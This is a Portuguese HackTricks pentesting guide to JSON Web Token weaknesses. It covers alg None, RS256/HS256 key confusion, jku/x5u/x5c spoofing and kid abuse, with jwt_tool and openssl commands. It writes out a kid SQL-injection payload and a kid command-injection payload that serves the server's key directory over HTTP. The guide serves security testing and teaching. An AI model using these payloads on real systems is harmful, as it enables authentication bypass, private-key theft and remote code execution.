18 KiB
Vulnerabilidades do JWT (Json Web Tokens)
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Se você está interessado em uma carreira de hacking e hackear o inquebrável - estamos contratando! (fluência em polonês escrita e falada necessária).
{% embed url="https://www.stmcyber.com/careers" %}
Parte deste post é baseada no incrível post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor da ótima ferramenta para pentest em JWTs https://github.com/ticarpi/jwt_tool
Ganhos Rápidos
Execute jwt_tool com o modo Todos os Testes!
e aguarde as linhas verdes
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web não está verificando corretamente o JWT:
Em seguida, você pode pesquisar a solicitação em seu proxy ou extrair o JWT usado para essa solicitação usando a ferramenta jwt_:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Manipular dados sem modificar nada
Você pode simplesmente manipular os dados deixando a assinatura como está e verificar se o servidor está verificando a assinatura. Tente alterar seu nome de usuário para "admin", por exemplo.
O token é verificado?
Para verificar se a assinatura de um JWT está sendo verificada:
- Uma mensagem de erro sugere verificação em andamento; detalhes sensíveis em erros verbosos devem ser revisados.
- Uma mudança na página retornada também indica verificação.
- Nenhuma mudança sugere nenhuma verificação; é nesse momento que se deve experimentar manipular as reivindicações de carga útil.
Origem
É importante determinar se o token foi gerado no lado do servidor ou no lado do cliente examinando o histórico de solicitações do proxy.
- Tokens vistos pela primeira vez do lado do cliente sugerem que a chave pode estar exposta ao código do lado do cliente, exigindo investigação adicional.
- Tokens originados do lado do servidor indicam um processo seguro.
Duração
Verifique se o token dura mais de 24 horas... talvez ele nunca expire. Se houver um campo "exp", verifique se o servidor está lidando corretamente com ele.
Força bruta no segredo HMAC
Modificar o algoritmo para None (CVE-2015-9235)
Defina o algoritmo usado como "None" e remova a parte da assinatura.
Use a extensão Burp chamada "JSON Web Token" para tentar essa vulnerabilidade e alterar diferentes valores dentro do JWT (envie a solicitação para o Repeater e na guia "JSON Web Token" você pode modificar os valores do token. Você também pode selecionar para colocar o valor do campo "Alg" como "None").
Alterar o algoritmo RS256 (assimétrico) para HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)
O algoritmo HS256 usa a chave secreta para assinar e verificar cada mensagem.
O algoritmo RS256 usa a chave privada para assinar a mensagem e usa a chave pública para autenticação.
Se você alterar o algoritmo de RS256 para HS256, o código do back-end usará a chave pública como a chave secreta e então usará o algoritmo HS256 para verificar a assinatura.
Em seguida, usando a chave pública e alterando de RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor web executando o seguinte:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Nova chave pública dentro do cabeçalho
Um atacante incorpora uma nova chave no cabeçalho do token e o servidor utiliza essa nova chave para verificar a assinatura (CVE-2018-0114).
Isso pode ser feito com a extensão "JSON Web Tokens" do Burp.
(Envie a solicitação para o Repeater, dentro da guia JSON Web Token selecione "CVE-2018-0114" e envie a solicitação).
Falsificação de JWKS
As instruções detalham um método para avaliar a segurança dos tokens JWT, especialmente aqueles que empregam uma reivindicação de cabeçalho "jku". Essa reivindicação deve se vincular a um arquivo JWKS (Conjunto de Chaves da Web JSON) que contenha a chave pública necessária para a verificação do token.
- Avaliando Tokens com Cabeçalho "jku":
- Verifique a URL da reivindicação "jku" para garantir que ela leve ao arquivo JWKS apropriado.
- Modifique o valor "jku" do token para direcionar para um serviço web controlado, permitindo a observação do tráfego.
- Monitorando a Interação HTTP:
- Observar as solicitações HTTP para a URL especificada indica as tentativas do servidor de buscar chaves a partir do link fornecido.
- Ao empregar
jwt_tool
para esse processo, é crucial atualizar o arquivojwtconf.ini
com a localização do seu JWKS pessoal para facilitar os testes. - Comando para
jwt_tool
: - Execute o seguinte comando para simular o cenário com
jwt_tool
:
python3 jwt_tool.py JWT_AQUI -X s
Visão Geral de Problemas com "kid"
Uma reivindicação de cabeçalho opcional conhecida como kid
é utilizada para identificar uma chave específica, o que se torna particularmente vital em ambientes nos quais múltiplas chaves existem para verificação da assinatura do token. Essa reivindicação auxilia na seleção da chave apropriada para verificar a assinatura de um token.
Revelando Chave através de "kid"
Quando a reivindicação kid
está presente no cabeçalho, é aconselhável pesquisar o diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se "kid":"chave/12345"
for especificado, os arquivos /chave/12345 e /chave/12345.pem devem ser procurados na raiz da web.
Traversing de Caminho com "kid"
A reivindicação kid
também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Solicitação de Servidor-Side Request Forgery (SSRF) alterando o valor kid
para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor kid
mantendo a assinatura original pode ser alcançado usando a flag -T
no jwt_tool, conforme demonstrado abaixo:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Ao direcionar arquivos com conteúdo previsível, é possível forjar um JWT válido. Por exemplo, o arquivo /proc/sys/kernel/randomize_va_space
em sistemas Linux, conhecido por conter o valor 2, pode ser usado no parâmetro kid
com 2 como a senha simétrica para a geração do JWT.
Injeção de SQL via "kid"
Se o conteúdo da reivindicação kid
for utilizado para buscar uma senha de um banco de dados, uma injeção de SQL poderia ser facilitada ao modificar a carga útil do kid
. Um exemplo de carga útil que usa injeção de SQL para alterar o processo de assinatura do JWT inclui:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Essa alteração força o uso de uma chave secreta conhecida, ATTACKER
, para a assinatura do JWT.
Injeção de SO através do "kid"
Um cenário em que o parâmetro kid
especifica um caminho de arquivo usado em um contexto de execução de comando poderia levar a vulnerabilidades de Execução Remota de Código (RCE). Ao injetar comandos no parâmetro kid
, é possível expor chaves privadas. Um exemplo de carga útil para alcançar RCE e exposição de chaves é:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u e jku
jku
jku significa URL do Conjunto de JWK.
Se o token usar uma reivindicação de Cabeçalho "jku", verifique a URL fornecida. Isso deve apontar para uma URL contendo o arquivo JWKS que contém a Chave Pública para verificar o token. Manipule o token para apontar o valor jku para um serviço da web no qual você possa monitorar o tráfego.
Primeiro, você precisa criar um novo certificado com novas chaves privadas e públicas.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Então você pode usar, por exemplo, jwt.io para criar o novo JWT com as chaves públicas e privadas criadas e apontando o parâmetro jku para o certificado criado. Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
Você pode obter os parâmetros "e" e "n" de um certificado público usando:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em forma PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807. A segurança de transporte é necessária para transferir os certificados.
Tente alterar este cabeçalho para um URL sob seu controle e verifique se alguma solicitação é recebida. Nesse caso, você poderia adulterar o JWT.
Para forjar um novo token usando um certificado controlado por você, é necessário criar o certificado e extrair as chaves pública e privada:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Então você pode usar, por exemplo, jwt.io para criar o novo JWT com as chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado.
Você também pode abusar de ambas as vulnerabilidades para SSRFs.
x5c
Este parâmetro pode conter o certificado em base64:
Se o atacante gerar um certificado autoassinado e criar um token falsificado usando a chave privada correspondente e substituir o valor do parâmetro "x5c" pelo certificado recém-gerado e modificar os outros parâmetros, nomeadamente n, e e x5t, então essencialmente o token falsificado seria aceito pelo servidor.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Chave Pública Incorporada (CVE-2018-0114)
Se o JWT tiver incorporada uma chave pública como no seguinte cenário:
Usando o seguinte script nodejs, é possível gerar uma chave pública a partir desses dados:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
É possível gerar um novo par de chaves privada/pública, incorporar a nova chave pública dentro do token e usá-la para gerar uma nova assinatura:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Você pode obter o "n" e o "e" usando este script nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
JTI (JWT ID)
A reivindicação JTI (JWT ID) fornece um identificador único para um Token JWT. Pode ser usado para evitar que o token seja reproduzido.
No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001-9999). A solicitação 0001 e 10001 vão usar o mesmo ID. Portanto, se o backend estiver incrementando o ID em cada solicitação, você poderia abusar disso para reproduzir uma solicitação (sendo necessário enviar 10000 solicitações entre cada reprodução bem-sucedida).
Reivindicações registradas do JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
Outros ataques
Ataques de Revezamento entre Serviços
Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registradas instâncias em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever em uma conta em outro cliente desse serviço usando o mesmo nome de usuário/email deve ser investigada. Deve-se então tentar reproduzir o token obtido em uma solicitação ao alvo para ver se é aceito.
- A aceitação do seu token pode indicar um problema crítico, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se observar que pode ser necessária permissão para testes mais amplos ao se inscrever em um aplicativo de terceiros, pois isso poderia entrar em uma área legal cinzenta.
Verificação de Expiração de Tokens
A expiração do token é verificada usando a reivindicação de carga "exp". Dado que os JWTs são frequentemente empregados sem informações de sessão, é necessária uma manipulação cuidadosa. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário poderia permitir a impersonificação desse usuário. O RFC do JWT recomenda mitigar ataques de reprodução de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, armazenar o token e reproduzi-lo após o tempo de expiração ter passado é aconselhável. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da ferramenta jwt_tool.
- Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
Ferramentas
{% embed url="https://github.com/ticarpi/jwt_tool" %}
Se você está interessado em uma carreira de hacking e hackear o inhackeável - estamos contratando! (fluência em polonês escrita e falada é necessária).
{% embed url="https://www.stmcyber.com/careers" %}
Aprenda hacking AWS de zero a herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud github repos.